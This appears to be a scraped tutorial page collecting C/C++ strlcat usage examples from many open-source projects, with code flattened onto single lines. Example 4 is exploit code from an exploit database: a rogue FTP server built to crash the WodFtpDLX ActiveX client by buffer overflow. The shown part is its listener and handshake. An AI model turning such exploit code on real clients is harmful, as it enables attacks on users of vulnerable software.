您当前的位置:首页 > IT编程 > C++
| C语言 | Java | VB | VC | python | Android | TensorFlow | C++ | oracle | 学术与代码 | cnn卷积神经网络 | gnn | 图像修复 | Keras | 数据集 | Neo4j | 自然语言处理 | 深度学习 | 医学CAD | 医学影像 | 超参数 | pointnet | pytorch | 异常检测 | Transformers | 情感分类 | 知识图谱 |

自学教程:C++ strlcat函数代码示例

51自学网 2021-06-03 08:31:02
  C++
这篇教程C++ strlcat函数代码示例写得很实用,希望能帮到您。

本文整理汇总了C++中strlcat函数的典型用法代码示例。如果您正苦于以下问题:C++ strlcat函数的具体用法?C++ strlcat怎么用?C++ strlcat使用的例子?那么恭喜您, 这里精选的函数代码示例或许可以为您提供帮助。

在下文中一共展示了strlcat函数的28个代码示例,这些例子默认根据受欢迎程度排序。您可以为喜欢或者感觉有用的代码点赞,您的评价将有助于我们的系统推荐出更棒的C++代码示例。

示例1: ct_compare_secrets

intct_compare_secrets(struct ct_global_state *state, struct ct_op *op){	struct ct_ctfileop_args		*cca = op->op_args;	FILE				*f, *tf;	char				 temp_path[PATH_MAX];	struct stat			 sb, tsb;	char				 buf[1024], tbuf[1024];	size_t				 rsz;	off_t				 sz;	int				 ret = 0, s_errno = 0;	/* cachedir is '/' terminated */	strlcpy(temp_path, cca->cca_tdir, sizeof(temp_path));	strlcat(temp_path, cca->cca_localname, sizeof(temp_path));	if (stat(state->ct_config->ct_crypto_secrets, &sb) != 0) {		s_errno = errno;		ret = CTE_ERRNO;		CWARNX("/"%s/": %s", state->ct_config->ct_crypto_secrets,		    ct_strerror(ret));		goto free;	}	if (stat(temp_path, &tsb) != 0) {		s_errno = errno;		ret = CTE_ERRNO;		CWARNX("/"%s/": %s", temp_path, ct_strerror(ret));		goto free;	}	/* Compare size first */	if (tsb.st_size != sb.st_size) {		ret = CTE_SECRETS_FILE_SIZE_MISMATCH;		CWARNX("%" PRId64 " vs %" PRId64 ": %s", (int64_t)tsb.st_size,		    (int64_t)sb.st_size, ct_strerror(ret));		goto free;	}	if ((f = ct_fopen(state->ct_config->ct_crypto_secrets, "rb")) == NULL) {		s_errno = errno;		ret = CTE_ERRNO;		CWARNX("/"%s/": %s", state->ct_config->ct_crypto_secrets,		    ct_strerror(ret));		goto free;	}	if ((tf = ct_fopen(temp_path, "rb")) == NULL) {		s_errno = errno;		ret = CTE_ERRNO;		CWARNX("temp_path: %s", ct_strerror(ret));		goto close_current;	}	/* read then throw away */	unlink(temp_path);	while (sb.st_size > 0) {		sz = sb.st_size;		if (sz > 1024)			sz = 1024;		sb.st_size -= sz;		CNDBG(CT_LOG_FILE, "sz = %" PRId64 " remaining = %" PRId64,		    (int64_t)sz, (int64_t)sb.st_size);		if ((rsz = fread(buf, 1, sz, f)) != sz) {			CNDBG(CT_LOG_CRYPTO, "short read on secrets file (%"			    PRId64 " %" PRId64 ")", (int64_t)sz, (int64_t)rsz);			ret = CTE_SECRETS_FILE_SHORT_READ;			CWARNX("%s: %s", state->ct_config->ct_crypto_secrets,			    ct_strerror(ret));			goto out;		}		if ((rsz = fread(tbuf, 1, sz, tf)) != sz) {			CNDBG(CT_LOG_CRYPTO, "short read on temporary secrets "			    "file (%" PRId64 " %" PRId64 ")", (int64_t)sz,			    (int64_t)rsz);			ret = CTE_SECRETS_FILE_SHORT_READ;			CWARNX("%s: %s", temp_path, ct_strerror(ret));			goto out;		}		if (memcmp(buf, tbuf, sz) != 0) {			ret = CTE_SECRETS_FILE_DIFFERS;			goto out;		}	}out:	fclose(f);close_current:	fclose(tf);free:	e_free(&cca);	if (ret == CTE_ERRNO)		errno = s_errno;	return (ret);}
开发者ID:carriercomm,项目名称:cyphertite,代码行数:92,


示例2: _ds_get_nextuser

char * _ds_get_nextuser (DSPAM_CTX * CTX) {  static char user[MAX_FILENAME_LENGTH];  static char path[MAX_FILENAME_LENGTH];  struct _hash_drv_storage *s = (struct _hash_drv_storage *) CTX->storage;  struct nt_node *node_nt, *prev;  struct nt_c c_nt;  char *x = NULL, *y;  DIR *dir = NULL;  struct dirent *entry;  if (s->dir_handles->items == 0)  {    char filename[MAX_FILENAME_LENGTH];    snprintf(filename, MAX_FILENAME_LENGTH, "%s/data", CTX->home);    dir = opendir (filename);    if (dir == NULL)    {      LOG (LOG_WARNING,           "unable to open directory '%s' for reading: %s",           CTX->home, strerror (errno));      return NULL;    }    nt_add (s->dir_handles, (void *) dir);    strlcpy (path, filename, sizeof (path));  }  else  {    node_nt = c_nt_first (s->dir_handles, &c_nt);    while (node_nt != NULL)    {      if (node_nt->next == NULL)        dir = (DIR *) node_nt->ptr;      node_nt = c_nt_next (s->dir_handles, &c_nt);    }  }  while ((entry = readdir (dir)) != NULL)  {    struct stat st;    char filename[MAX_FILENAME_LENGTH];    snprintf (filename, sizeof (filename), "%s/%s", path, entry->d_name);    if (!strcmp (entry->d_name, ".") || !strcmp (entry->d_name, ".."))      continue;    if (stat (filename, &st)) {      continue;    }    /* push a new directory */    if (st.st_mode & S_IFDIR)    {      DIR *ndir;      ndir = opendir (filename);      if (ndir == NULL)        continue;      strlcat (path, "/", sizeof (path));      strlcat (path, entry->d_name, sizeof (path));      nt_add (s->dir_handles, (void *) ndir);      return _ds_get_nextuser (CTX);    }    else if (strlen(entry->d_name)>4 &&      !strncmp ((entry->d_name + strlen (entry->d_name)) - 4, ".css", 4))    {      strlcpy (user, entry->d_name, sizeof (user));      user[strlen (user) - 4] = 0;      return user;    }  }  /* pop current directory */  y = strchr (path, '/');  while (y != NULL)  {    x = y;    y = strchr (x + 1, '/');  }  if (x)    x[0] = 0;  /* pop directory handle from list */  node_nt = c_nt_first (s->dir_handles, &c_nt);  prev = NULL;  while (node_nt != NULL)  {    if (node_nt->next == NULL)    {      dir = (DIR *) node_nt->ptr;      closedir (dir);      if (prev != NULL) {        prev->next = NULL;        s->dir_handles->insert = NULL;      }      else        s->dir_handles->first = NULL;//.........这里部分代码省略.........
开发者ID:aleksey200505,项目名称:dspam,代码行数:101,


示例3: video_shader_write_conf_cgp

/** * video_shader_write_conf_cgp: * @conf              : Preset file to read from. * @shader            : Shader passes handle. * * Saves preset and all associated state (passes, * textures, imports, etc) to disk. **/void video_shader_write_conf_cgp(config_file_t *conf,      struct video_shader *shader){   unsigned i;   config_set_int(conf, "shaders", shader->passes);   if (shader->feedback_pass >= 0)      config_set_int(conf, "feedback_pass", shader->feedback_pass);   for (i = 0; i < shader->passes; i++)   {      char key[64];      size_t tmp_size = PATH_MAX_LENGTH * sizeof(char);      char *tmp       = (char*)malloc(PATH_MAX_LENGTH * sizeof(char));      const struct video_shader_pass *pass = &shader->pass[i];      key[0] = '/0';      snprintf(key, sizeof(key), "shader%u", i);      strlcpy(tmp, pass->source.path, tmp_size);      if (!path_is_absolute(tmp))         path_resolve_realpath(tmp, tmp_size);      config_set_string(conf, key, tmp);      free(tmp);      if (pass->filter != RARCH_FILTER_UNSPEC)      {         snprintf(key, sizeof(key), "filter_linear%u", i);         config_set_bool(conf, key, pass->filter == RARCH_FILTER_LINEAR);      }      snprintf(key, sizeof(key), "wrap_mode%u", i);      config_set_string(conf, key, wrap_mode_to_str(pass->wrap));      if (pass->frame_count_mod)      {         snprintf(key, sizeof(key), "frame_count_mod%u", i);         config_set_int(conf, key, pass->frame_count_mod);      }      snprintf(key, sizeof(key), "mipmap_input%u", i);      config_set_bool(conf, key, pass->mipmap);      snprintf(key, sizeof(key), "alias%u", i);      config_set_string(conf, key, pass->alias);      shader_write_fbo(conf, &pass->fbo, i);   }   if (shader->num_parameters)   {      size_t param_size = 4096 * sizeof(char);      char *parameters  = (char*)malloc(4096 * sizeof(char));      parameters[0] = '/0';      strlcpy(parameters, shader->parameters[0].id, param_size);      for (i = 1; i < shader->num_parameters; i++)      {         /* O(n^2), but number of parameters is very limited. */         strlcat(parameters, ";", param_size);         strlcat(parameters, shader->parameters[i].id, param_size);      }      config_set_string(conf, "parameters", parameters);      for (i = 0; i < shader->num_parameters; i++)         config_set_float(conf, shader->parameters[i].id,               shader->parameters[i].current);      free(parameters);   }   if (shader->luts)   {      size_t tex_size = 4096 * sizeof(char);      char *textures  = (char*)malloc(4096 * sizeof(char));      textures[0] = '/0';      strlcpy(textures, shader->lut[0].id, tex_size);      for (i = 1; i < shader->luts; i++)      {         /* O(n^2), but number of textures is very limited. */         strlcat(textures, ";", tex_size);         strlcat(textures, shader->lut[i].id, tex_size);      }      config_set_string(conf, "textures", textures);//.........这里部分代码省略.........
开发者ID:RobLoach,项目名称:RetroArch,代码行数:101,


示例4: main

int main(int argc,char **argv){	SOCKET sock, client;	struct sockaddr_in sock_addr,client_addr;	WSADATA data;	WORD p;	char mess[4096], received[512], addr[32];	int lun, n, i, err;	HANDLE fileListH;	DWORD fileListId, exitCode;	printf("------------------------------------------------------------------------------/r/n");	printf("WodFtpDLX Client ActiveX Control Buffer Overflow Crash Exploit/r/n");	printf("/t/t/tcreated by Komrade/r/n/r/n");	printf("/t/te-mail: unsecure(at)altervista(dot)org/r/n");	printf("/t/tweb: http://unsecure.altervista.org/r/n");	printf("------------------------------------------------------------------------------/r/n/r/n");	if (((argc != 2) || (strcmp(argv[1], "-l") != 0)) && ((argc != 3) || (strcmp(argv[1], "-r") != 0))){		printf("Usage: WodFtpCrash [-l] [-r server IP]/r/n/r/n");		printf("Options:/r/n");	 	printf(" -l/t/texecuted locally./r/n");		printf(" -r server IP/texecuted remotely. You need to specify the address of the/r/n");		printf("/t/tFTP server for the PASV command (Insert your IP address)/r/n");		printf("/r/nExamples:/r/n");		printf(" wodftpcrash -l/t/t/texecuted locally/r/n");		printf(" wodftpCrash -r 10.0.0.1/texecuted remotely/r/n");		return 0;	}       	if(strcmp(argv[1], "-r") == 0){		char *token[4];		token[0]=strtok(argv[2], ".");		for(i = 1; i < 4; i++){			token[i]=strtok(NULL, ".");		}		strcpy(addr, "/0");		for(i=0; (i < 4) && (token[i]!= NULL); i++){			strlcat(addr, token[i], 16);			strcat(addr, ",");		}	}	else		strcpy(addr, "127,0,0,1,");	p = MAKEWORD(2, 0);	WSAStartup(p, &data);	sock=socket(PF_INET,SOCK_STREAM,0);	sock_addr.sin_family=PF_INET;	sock_addr.sin_port=htons(FTP_PORT);	sock_addr.sin_addr.s_addr=INADDR_ANY;        err = bind(sock, (struct sockaddr*)&sock_addr, sizeof(struct sockaddr_in));	if (err < 0){		printf("Error in bind(). Port may be in use/r/n");		return -1;	}	err = listen(sock,1);	if (err < 0){		printf("Error in listen()/r/n");		return -1;	}	lun = sizeof (struct sockaddr);	printf("Opening the FTP port and waiting for connections.../r/n");	client = accept(sock, (struct sockaddr*)&client_addr, &lun);	printf("Client connected from IP: %s/r/n/r/n", inet_ntoa(client_addr.sin_addr));	strcpy(mess, "220 WodFtpDlx ActiveX Control Crash Exploit/r/n");	n=send(client, mess, strlen(mess), 0);	if (n < 0){		printf("Error in send()/r/n");		return -1;	}	while(wait == TRUE){		Sleep(800);		n = recv(client, received, sizeof(mess), 0);		if (n < 0){			printf("Error in recv()/r/n");			return -1;		}		received[n]=0;		printf("CLIENT: %s", received);		if (stricmp("USER", strtok(received, " ")) == 0)			strcpy(mess, "331 Anonymous access allowed, send password./r/n");		else if (stricmp("PASS", strtok(received, " ")) == 0)			strcpy(mess, "230 Anonymous user logged in./r/n");		else if (stricmp("PWD/r/n", received) == 0)			strcpy(mess, "257 /"//" is current directory./r/n");		else if (stricmp("CWD", strtok(received, " ")) == 0)//.........这里部分代码省略.........
开发者ID:ALurker,项目名称:exploit-database,代码行数:101,


示例5: make_policy

intmake_policy(char **type, char **data, int count, char **presult, int derive){	static char result[4096];	char one[2048];	int i;	int nfilename, isfilename;	result[0] = '/0';	nfilename = 0;	for (i = 0; i < count; i++) {		isfilename = 0;		/* Special case for non existing filenames */		if (strstr(data[i], "<non-existent filename>") != NULL) {			snprintf(result, sizeof(result),			    "filename%s sub /"<non-existent filename>/" then deny[enoent]", i ? "[1]" : "");			break;		}		if (!strcmp(type[i], "uid") || !strcmp(type[i], "gid") ||		    !strcmp(type[i], "argv"))			continue;		/* Special case for system calls with more than one filename */		if (!strcmp(type[i], "filename")) {			isfilename = 1;			nfilename++;		}				if (strlen(result)) {			if (strlcat(result, " and ", sizeof(result)) >= sizeof(result))				return (-1);		}		/* Special treatment for filenames */		if (isfilename) {			char filename[2048];			char *operator = "eq";			if (derive) {				operator = "match";				snprintf(filename, sizeof(filename),				    "%s/*", dirname(data[i]));			} else				strlcpy(filename, data[i], sizeof(filename));			/* Make useful replacements */			while (strrpl(filename, sizeof(filename),				   home, "$HOME") != NULL)				;			while (strrpl(filename, sizeof(filename),				   username, "$USER") != NULL)				;			snprintf(one, sizeof(one), "%s%s %s /"%s/"",			    type[i], isfilename && nfilename == 2 ? "[1]" : "",			    operator, filename);		} else {			snprintf(one, sizeof(one), "%s eq /"%s/"",			    type[i], data[i]);		}		if (strlcat(result, one, sizeof(result)) >= sizeof(result))			return (-1);;	}	if (!strlen(result))		return (-1);	/* Normal termination */	if (i == count)		strlcat(result, " then permit", sizeof(result));	*presult = result;	return (nfilename);}
开发者ID:barak,项目名称:xsystrace,代码行数:77,


示例6: main

//.........这里部分代码省略.........mount_retry:	if(orgoptions) {		optlen = strlen(orgoptions);		orgoptlen = optlen;	} else		optlen = 0;	if(share_name)		optlen += strlen(share_name) + 4;	else {		printf("No server share name specified/n");		printf("/nMounting the DFS root for server not implemented yet/n");                exit(1);	}	if(user_name)		optlen += strlen(user_name) + 6;	if(ipaddr)		optlen += strlen(ipaddr) + 4;	if(mountpassword)		optlen += strlen(mountpassword) + 6;	if(options) {		free(options);		options = NULL;	}	options_size = optlen + 10 + 64;	options = (char *)malloc(options_size /* space for commas in password */ + 8 /* space for domain=  , domain name itself was counted as part of the length username string above */);	if(options == NULL) {		printf("Could not allocate memory for mount options/n");		return -1;	}	options[0] = 0;	strlcpy(options,"unc=",options_size);	strlcat(options,share_name,options_size);	/* scan backwards and reverse direction of slash */	temp = strrchr(options, '/');	if(temp > options + 6)		*temp = '//';	if(ipaddr) {		strlcat(options,",ip=",options_size);		strlcat(options,ipaddr,options_size);	}	if(user_name) {		/* check for syntax like user=domain/user */		if(got_domain == 0)			domain_name = check_for_domain(&user_name);		strlcat(options,",user=",options_size);		strlcat(options,user_name,options_size);	}	if(retry == 0) {		if(domain_name) {			/* extra length accounted for in option string above */			strlcat(options,",domain=",options_size);			strlcat(options,domain_name,options_size);		}	}	if(mountpassword) {		/* Commas have to be doubled, or else they will		look like the parameter separator *//*		if(sep is not set)*/		if(retry == 0)			check_for_comma(&mountpassword);		strlcat(options,",pass=",options_size);		strlcat(options,mountpassword,options_size);	}
开发者ID:TKr,项目名称:Wive-ng-rt8186,代码行数:67,


示例7: print_header

static void print_header(const knot_pkt_t *packet, const style_t *style,                         const uint16_t ext_rcode){    char    flags[64] = "";    uint8_t opcode_id;    const char *rcode_str = "Unknown";    const char *opcode_str = "Unknown";    lookup_table_t *rcode, *opcode;    // Get RCODE from Header and check for Extended RCODE from OPT RR.    rcode = lookup_by_id(knot_rcode_names, ext_rcode);    if (rcode != NULL) {        rcode_str = rcode->name;    }    // Get OPCODE.    opcode_id = knot_wire_get_opcode(packet->wire);    opcode = lookup_by_id(knot_opcode_names, opcode_id);    if (opcode != NULL) {        opcode_str = opcode->name;    }    // Get flags.    size_t flags_rest = sizeof(flags);    const size_t flag_len = 4;    if (knot_wire_get_qr(packet->wire) != 0 && flags_rest > flag_len) {        flags_rest -= strlcat(flags, " qr", flags_rest);    }    if (knot_wire_get_aa(packet->wire) != 0 && flags_rest > flag_len) {        flags_rest -= strlcat(flags, " aa", flags_rest);    }    if (knot_wire_get_tc(packet->wire) != 0 && flags_rest > flag_len) {        flags_rest -= strlcat(flags, " tc", flags_rest);    }    if (knot_wire_get_rd(packet->wire) != 0 && flags_rest > flag_len) {        flags_rest -= strlcat(flags, " rd", flags_rest);    }    if (knot_wire_get_ra(packet->wire) != 0 && flags_rest > flag_len) {        flags_rest -= strlcat(flags, " ra", flags_rest);    }    if (knot_wire_get_z(packet->wire) != 0 && flags_rest > flag_len) {        flags_rest -= strlcat(flags, " z", flags_rest);    }    if (knot_wire_get_ad(packet->wire) != 0 && flags_rest > flag_len) {        flags_rest -= strlcat(flags, " ad", flags_rest);    }    if (knot_wire_get_cd(packet->wire) != 0 && flags_rest > flag_len) {        strlcat(flags, " cd", flags_rest);    }    uint16_t id = knot_wire_get_id(packet->wire);    uint16_t qdcount = knot_wire_get_qdcount(packet->wire);    uint16_t ancount = knot_wire_get_ancount(packet->wire);    uint16_t nscount = knot_wire_get_nscount(packet->wire);    uint16_t arcount = knot_wire_get_arcount(packet->wire);    if (knot_pkt_has_tsig(packet)) {        arcount++;    }    // Print formatted info.    switch (style->format) {    case FORMAT_NSUPDATE:        printf(";; ->>HEADER<<- opcode: %s; status: %s; id: %u/n"               ";; Flags:%1s; "               "ZONE: %u; PREREQ: %u; UPDATE: %u; ADDITIONAL: %u/n",               opcode_str, rcode_str, id, flags, qdcount, ancount,               nscount, arcount);        break;    default:        printf(";; ->>HEADER<<- opcode: %s; status: %s; id: %u/n"               ";; Flags:%1s; "               "QUERY: %u; ANSWER: %u; AUTHORITY: %u; ADDITIONAL: %u/n",               opcode_str, rcode_str, id, flags, qdcount, ancount,               nscount, arcount);        break;    }}
开发者ID:gitter-badger,项目名称:knot,代码行数:78,


示例8: sshpam_query

static intsshpam_query(void *ctx, char **name, char **info,    u_int *num, char ***prompts, u_int **echo_on){	Buffer buffer;	struct pam_ctxt *ctxt = ctx;	size_t plen;	u_char type;	char *msg;	size_t len, mlen;	debug3("PAM: %s entering", __func__);	buffer_init(&buffer);	*name = xstrdup("");	*info = xstrdup("");	*prompts = xmalloc(sizeof(char *));	**prompts = NULL;	plen = 0;	*echo_on = xmalloc(sizeof(u_int));	while (ssh_msg_recv(ctxt->pam_psock, &buffer) == 0) {		type = buffer_get_char(&buffer);		msg = buffer_get_string(&buffer, NULL);		mlen = strlen(msg);		switch (type) {		case PAM_PROMPT_ECHO_ON:		case PAM_PROMPT_ECHO_OFF:			*num = 1;			len = plen + mlen + 1;			**prompts = xreallocarray(**prompts, 1, len);			strlcpy(**prompts + plen, msg, len - plen);			plen += mlen;			**echo_on = (type == PAM_PROMPT_ECHO_ON);			free(msg);			return (0);		case PAM_ERROR_MSG:		case PAM_TEXT_INFO:			/* accumulate messages */			len = plen + mlen + 2;			**prompts = xreallocarray(**prompts, 1, len);			strlcpy(**prompts + plen, msg, len - plen);			plen += mlen;			strlcat(**prompts + plen, "/n", len - plen);			plen++;			free(msg);			break;		case PAM_ACCT_EXPIRED:			sshpam_account_status = 0;			/* FALLTHROUGH */		case PAM_AUTH_ERR:			debug3("PAM: %s", pam_strerror(sshpam_handle, type));			if (**prompts != NULL && strlen(**prompts) != 0) {				*info = **prompts;				**prompts = NULL;				*num = 0;				**echo_on = 0;				ctxt->pam_done = -1;				free(msg);				return 0;			}			/* FALLTHROUGH */		case PAM_SUCCESS:			if (**prompts != NULL) {				/* drain any accumulated messages */				debug("PAM: %s", **prompts);				buffer_append(&loginmsg, **prompts,				    strlen(**prompts));				free(**prompts);				**prompts = NULL;			}			if (type == PAM_SUCCESS) {				if (!sshpam_authctxt->valid ||				    (sshpam_authctxt->pw->pw_uid == 0 &&				    options.permit_root_login != PERMIT_YES))					fatal("Internal error: PAM auth "					    "succeeded when it should have "					    "failed");				import_environments(&buffer);				*num = 0;				**echo_on = 0;				ctxt->pam_done = 1;				free(msg);				return (0);			}			error("PAM: %s for %s%.100s from %.100s", msg,			    sshpam_authctxt->valid ? "" : "illegal user ",			    sshpam_authctxt->user,			    get_remote_name_or_ip(utmp_len, options.use_dns));			/* FALLTHROUGH */		default:			*num = 0;			**echo_on = 0;			free(msg);			ctxt->pam_done = -1;			return (-1);		}	}	return (-1);}
开发者ID:1174533476,项目名称:Win32-OpenSSH,代码行数:98,


示例9: jl_getDylibFunctionInfo

void jl_getDylibFunctionInfo(const char **name, int *line, const char **filename, size_t pointer, int skipC){#ifdef _OS_WINDOWS_    DWORD fbase = SymGetModuleBase64(GetCurrentProcess(),(DWORD)pointer);    if (fbase != 0) {#else    Dl_info dlinfo;    if ((dladdr((void*)pointer, &dlinfo) != 0) && dlinfo.dli_fname) {        if (skipC && !jl_is_sysimg(dlinfo.dli_fname))            return;        uint64_t fbase = (uint64_t)dlinfo.dli_fbase;#endif        obfiletype::iterator it = objfilemap.find(fbase);        llvm::object::ObjectFile *obj = NULL;        DIContext *context = NULL;        int64_t slide = 0;        if (it == objfilemap.end()) {#ifdef _OS_DARWIN_            // First find the uuid of the object file (we'll use this to make sure we find the            // correct debug symbol file).            uint8_t uuid[16], uuid2[16];#ifdef LLVM35            ErrorOr<llvm::object::ObjectFile*> origerrorobj = llvm::object::ObjectFile::createObjectFile(#else            llvm::object::ObjectFile *origerrorobj = llvm::object::ObjectFile::createObjectFile(#endif                    MemoryBuffer::getMemBuffer(                    StringRef((const char *)fbase, (size_t)(((uint64_t)-1)-fbase)),"",false)#ifdef LLVM35                    ,false, sys::fs::file_magic::unknown#endif            );            if (!origerrorobj) {                objfileentry_t entry = {obj,context,slide};                objfilemap[fbase] = entry;                return;            }#ifdef LLVM35            llvm::object::MachOObjectFile *morigobj = (llvm::object::MachOObjectFile *)origerrorobj.get();#else            llvm::object::MachOObjectFile *morigobj = (llvm::object::MachOObjectFile *)origerrorobj;#endif            if (!getObjUUID(morigobj,uuid)) {                objfileentry_t entry = {obj,context,slide};                objfilemap[fbase] = entry;                return;            }            // On OS X debug symbols are not contained in the dynamic library and that's why            // we can't have nice things (easily). For now we only support .dSYM files in the same directory            // as the shared library. In the future we may use DBGCopyFullDSYMURLForUUID from CoreFoundation to make            // use of spotlight to find the .dSYM file.            char dsympath[PATH_MAX];            strlcpy(dsympath, dlinfo.dli_fname, sizeof(dsympath));            strlcat(dsympath, ".dSYM/Contents/Resources/DWARF/", sizeof(dsympath));            strlcat(dsympath, strrchr(dlinfo.dli_fname,'/')+1, sizeof(dsympath));#ifdef LLVM35            ErrorOr<llvm::object::ObjectFile*> errorobj = llvm::object::ObjectFile::createObjectFile(dsympath);#else            llvm::object::ObjectFile *errorobj = llvm::object::ObjectFile::createObjectFile(dsympath);#endif#else#ifndef _OS_WINDOWS_            const char *fname = dlinfo.dli_fname;#else            IMAGEHLP_MODULE64 ModuleInfo;            ModuleInfo.SizeOfStruct = sizeof(IMAGEHLP_MODULE64);            SymGetModuleInfo64(GetCurrentProcess(), (DWORD64)pointer, &ModuleInfo);            char *fname = ModuleInfo.LoadedImageName;            JL_PRINTF(JL_STDOUT,fname);#endif            // On non OS X systems we need to mmap another copy because of the permissions on the mmaped            // shared library.#ifdef LLVM35            ErrorOr<llvm::object::ObjectFile*> errorobj = llvm::object::ObjectFile::createObjectFile(fname);#else            llvm::object::ObjectFile *errorobj = llvm::object::ObjectFile::createObjectFile(fname);#endif#endif#ifdef LLVM35            if (errorobj) {                obj = errorobj.get();#else            if (errorobj != NULL) {                obj = errorobj;#endif#ifdef _OS_DARWIN_                if (getObjUUID(morigobj,uuid2) && memcmp(uuid,uuid2,sizeof(uuid)) == 0) {#endif                    context = DIContext::getDWARFContext(obj);                    slide = -(uint64_t)fbase;#ifdef _OS_DARWIN_                }#endif#ifdef _OS_WINDOWS_                assert(obj->isCOFF());                llvm::object::COFFObjectFile *coffobj = (llvm::object::COFFObjectFile *)obj;                const llvm::object::pe32plus_header *pe32plus;                coffobj->getPE32PlusHeader(pe32plus);                if (pe32plus != NULL) {//.........这里部分代码省略.........
开发者ID:BigCrunsh,项目名称:julia,代码行数:101,


示例10: noit_jlog_thread_main

void *noit_jlog_thread_main(void *e_vptr) {  int mask, bytes_read, sleeptime, max_sleeptime;  eventer_t e = e_vptr;  acceptor_closure_t *ac = e->closure;  noit_jlog_closure_t *jcl = ac->service_ctx;  char inbuff[sizeof(jlog_id)];  mtev_memory_init_thread();  eventer_set_fd_blocking(e->fd);  max_sleeptime = DEFAULT_MSECONDS_BETWEEN_BATCHES;  if(ac->cmd == NOIT_JLOG_DATA_TEMP_FEED)    max_sleeptime = DEFAULT_TRANSIENT_MSECONDS_BETWEEN_BATCHES;  sleeptime = max_sleeptime;  while(1) {    jlog_id client_chkpt;    sleeptime = MIN(sleeptime, max_sleeptime);    jlog_get_checkpoint(jcl->jlog, ac->remote_cn, &jcl->chkpt);    jcl->count = jlog_ctx_read_interval(jcl->jlog, &jcl->start, &jcl->finish);    if(jcl->count < 0) {      char idxfile[PATH_MAX];      mtevL(noit_error, "jlog_ctx_read_interval: %s/n",            jlog_ctx_err_string(jcl->jlog));      switch (jlog_ctx_err(jcl->jlog)) {        case JLOG_ERR_FILE_CORRUPT:        case JLOG_ERR_IDX_CORRUPT:          jlog_repair_datafile(jcl->jlog, jcl->start.log);          jlog_repair_datafile(jcl->jlog, jcl->start.log + 1);          mtevL(noit_error,                "jlog reconstructed, deleting corresponding index./n");          STRSETDATAFILE(jcl->jlog, idxfile, jcl->start.log);          strlcat(idxfile, INDEX_EXT, sizeof(idxfile));          unlink(idxfile);          STRSETDATAFILE(jcl->jlog, idxfile, jcl->start.log + 1);          strlcat(idxfile, INDEX_EXT, sizeof(idxfile));          unlink(idxfile);          goto alldone;          break;        default:          goto alldone;      }    }    if(jcl->count > MAX_ROWS_AT_ONCE) {      /* Artificially set down the range to make the batches a bit easier       * to handle on the stratcond/postgres end.       * However, we must have more data, so drop the sleeptime to 0       */      jcl->count = MAX_ROWS_AT_ONCE;      jcl->finish.marker = jcl->start.marker + jcl->count;    }    if(jcl->count > 0) {      sleeptime = 0;      if(noit_jlog_push(e, jcl)) {        goto alldone;      }      /* Read our jlog_id accounting for possibly short reads */      bytes_read = 0;      while(bytes_read < sizeof(jlog_id)) {        int len;        if((len = e->opset->read(e->fd, inbuff + bytes_read,                                 sizeof(jlog_id) - bytes_read,                                 &mask, e)) <= 0)          goto alldone;        bytes_read += len;      }      memcpy(&client_chkpt, inbuff, sizeof(jlog_id));      /* Fix the endian */      client_chkpt.log = ntohl(client_chkpt.log);      client_chkpt.marker = ntohl(client_chkpt.marker);        if(memcmp(&jcl->chkpt, &client_chkpt, sizeof(jlog_id))) {        mtevL(noit_error,              "client %s submitted invalid checkpoint %u:%u expected %u:%u/n",              ac->remote_cn, client_chkpt.log, client_chkpt.marker,              jcl->chkpt.log, jcl->chkpt.marker);        goto alldone;      }      mtev_gettimeofday(&jcl->feed_stats->last_checkpoint, NULL);      jlog_ctx_read_checkpoint(jcl->jlog, &jcl->chkpt);    }    else {      /* we have nothing to write -- maybe we have no checks configured...       * If this is the case "forever", the remote might disconnect and       * we would never know. Do the painful work of detecting a       * disconnected client.       */      struct pollfd pfd;      pfd.fd = e->fd;      pfd.events = POLLIN | POLLHUP | POLLRDNORM;      pfd.revents = 0;      if(poll(&pfd, 1, 0) != 0) {        /* normally, we'd recv PEEK|DONTWAIT.  However, the client should         * not be writing to us.  So, we know we can't have any legitimate         * data on this socket (true even though this is SSL). So, if we're         * here then "shit went wrong"         */        mtevL(noit_error, "jlog client %s disconnected while idle/n",              ac->remote_cn);//.........这里部分代码省略.........
开发者ID:JonasKunze,项目名称:reconnoiter,代码行数:101,


示例11: test_crypto_formats

/** Run unit tests for misc crypto formatting functionality (base64, base32, * fingerprints, etc) */static voidtest_crypto_formats(void){  char *data1 = NULL, *data2 = NULL, *data3 = NULL;  int i, j, idx;  data1 = tor_malloc(1024);  data2 = tor_malloc(1024);  data3 = tor_malloc(1024);  test_assert(data1 && data2 && data3);  /* Base64 tests */  memset(data1, 6, 1024);  for (idx = 0; idx < 10; ++idx) {    i = base64_encode(data2, 1024, data1, idx);    test_assert(i >= 0);    j = base64_decode(data3, 1024, data2, i);    test_eq(j,idx);    test_memeq(data3, data1, idx);  }  strlcpy(data1, "Test string that contains 35 chars.", 1024);  strlcat(data1, " 2nd string that contains 35 chars.", 1024);  i = base64_encode(data2, 1024, data1, 71);  test_assert(i >= 0);  j = base64_decode(data3, 1024, data2, i);  test_eq(j, 71);  test_streq(data3, data1);  test_assert(data2[i] == '/0');  crypto_rand(data1, DIGEST_LEN);  memset(data2, 100, 1024);  digest_to_base64(data2, data1);  test_eq(BASE64_DIGEST_LEN, strlen(data2));  test_eq(100, data2[BASE64_DIGEST_LEN+2]);  memset(data3, 99, 1024);  test_eq(digest_from_base64(data3, data2), 0);  test_memeq(data1, data3, DIGEST_LEN);  test_eq(99, data3[DIGEST_LEN+1]);  test_assert(digest_from_base64(data3, "###") < 0);  /* Encoding SHA256 */  crypto_rand(data2, DIGEST256_LEN);  memset(data2, 100, 1024);  digest256_to_base64(data2, data1);  test_eq(BASE64_DIGEST256_LEN, strlen(data2));  test_eq(100, data2[BASE64_DIGEST256_LEN+2]);  memset(data3, 99, 1024);  test_eq(digest256_from_base64(data3, data2), 0);  test_memeq(data1, data3, DIGEST256_LEN);  test_eq(99, data3[DIGEST256_LEN+1]);  /* Base32 tests */  strlcpy(data1, "5chrs", 1024);  /* bit pattern is:  [35 63 68 72 73] ->   *        [00110101 01100011 01101000 01110010 01110011]   * By 5s: [00110 10101 10001 10110 10000 11100 10011 10011]   */  base32_encode(data2, 9, data1, 5);  test_streq(data2, "gvrwq4tt");  strlcpy(data1, "/xFF/xF5/x6D/x44/xAE/x0D/x5C/xC9/x62/xC4", 1024);  base32_encode(data2, 30, data1, 10);  test_streq(data2, "772w2rfobvomsywe");  /* Base16 tests */  strlcpy(data1, "6chrs/xff", 1024);  base16_encode(data2, 13, data1, 6);  test_streq(data2, "3663687273FF");  strlcpy(data1, "f0d678affc000100", 1024);  i = base16_decode(data2, 8, data1, 16);  test_eq(i,0);  test_memeq(data2, 